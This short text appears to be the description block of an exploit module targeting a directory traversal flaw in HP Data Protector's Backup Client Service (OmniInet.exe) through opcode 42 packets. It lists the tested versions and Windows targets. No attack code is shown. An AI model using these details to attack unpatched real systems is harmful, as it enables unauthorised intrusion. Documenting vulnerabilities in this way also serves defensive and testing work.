        This module exploits a directory traversal vulnerability in the Hewlett-Packard Data
        Protector product. The vulnerability exists at the Backup Client Service (OmniInet.exe)
        when parsing packets with opcode 42. This module has been tested successfully on HP Data
        Protector 6.20 on Windows 2003 SP2 and Windows XP SP3.
